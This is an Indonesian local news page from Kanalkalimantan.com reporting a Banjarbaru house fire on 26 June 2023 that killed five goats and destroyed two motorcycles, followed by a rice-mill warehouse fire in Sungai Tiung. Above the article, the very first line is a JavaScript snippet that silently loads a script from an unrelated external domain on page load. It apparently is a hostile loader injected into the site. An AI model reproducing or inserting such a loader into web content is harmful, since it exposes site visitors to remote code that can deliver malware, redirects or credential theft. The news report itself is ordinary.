(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Ditinggal pergi ke luar, sebuah rumah ludes terbakar di Jalan Akasia RT 6 RW 6 Tambak Buluh, Kelurahan Landasan Ulin Timur, Kecamatan Landasan Ulin, Kota Banjarbaru, Senin (26/6/2023) malam.
Tak hanya meludeskan rumah milik Syambudi, kandang kambing yang masih diisi hewan ternak habis terbakar.
Api yang melahap rumah milik Syambudi terbuat dari kayu juga membakar dua unit sepeda motor dan lima ekor kambing terpanggang.
Kapolsek Liang Anggang Kompol Yuda Kumoro Pardede melalui Kasi Humas, Aiptu Atmo, saat kebakaran terjadi, rumah tersebut sedang ditinggal oleh penghuninya.
Baca juga: Ngamuk di Kampung, Lelaki di Sungai Tiung Dibawa ke RSJ Sambang Lihum
“Berdasarkan keterangan pemilik bangunan, bahwa rumah ditinggal dalam keadaan kosong dan lima ekor kambing berada di dalam kandang, posisinya persis di samping rumah,” katanya.
Aiptu Atmo menyebutkan, asal mula api diperkirakan dari pembakaran kayu yang berada di bawah kandang kambing.
“Karena ditinggalkan oleh pemilik rumah dalam keadaan kosong, sehingga api membesar dan membakar kandang. Kemudian api merembet ke rumah menghanguskan seisinya,” jelasnya.
Pemilik rumah, Syambudi mengatakan, pada saat kebakaran rumahnya ditinggal pergi seluruh penghuni alias dalam keadaan kosong. Dia beserta keluarganya sedang keluar rumah. Dan memastikan saat rumah dalam keadaan kosong tidak ada pengapian yang menyala.
Baca juga: Lahan Pinggiran Kota Terbakar, Warga Banjarmasin Mulai Terhirup Kabut Asap
“Dugaannya karena korsleting listrik, kalau api tidak ada,” akunya.
Selain menghanguskan dua unit sepeda motor dan menewaskan lima ekor kambing peliharaan, api turut menghabiskan perabot rumah tangga, termasuk surat-surat berharga tak bersisa.
Setidaknya ada 7 jiwa dari 2 Kepala Keluarga (KK) terdampak dalam kebakaran yang terjadi di Landasan Ulin Timur ini. Berdasarkan keterangan Ketua RT 6 rumah yang terbakar dihuni oleh 2 KK dengan 7 jiwa.
Berselang beberapa jam setelah kebakaran di Jalan Akasia Tambak Buluh, Kelurahan Landasan Ulin Timur, si jagi merah menyala di sebuah gudang penggilingan padi Lukaas, Kelurahan Sungai Tiung, Kecamatan Cempaka, Selasa (27/6/2023) dini hari.
Baca juga: Timbul Tenggelam Isu Lawas Pemekaran Gambut Raya
“Kebakaran menghanguskan sebuah gudang penggilingan padi di Lukaas, Kelurahan Sungai Tiung,” ujar Kapolsek Cempaka AKP Singgih Aditya Utama, Selasa (27/6/2023) pagi.
Anggota Polsek Cempaka telah mendatangi lokasi kebakaran yang sempat membuat geger warga kampung Lukaas, Kelurahan Sungai Tiung.
Tak ada korban jiwa dalam musibah kebakaran ini. Total kerugian hingga dugaan penyebab kebakaran masih belum diketahui. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More
This website uses cookies.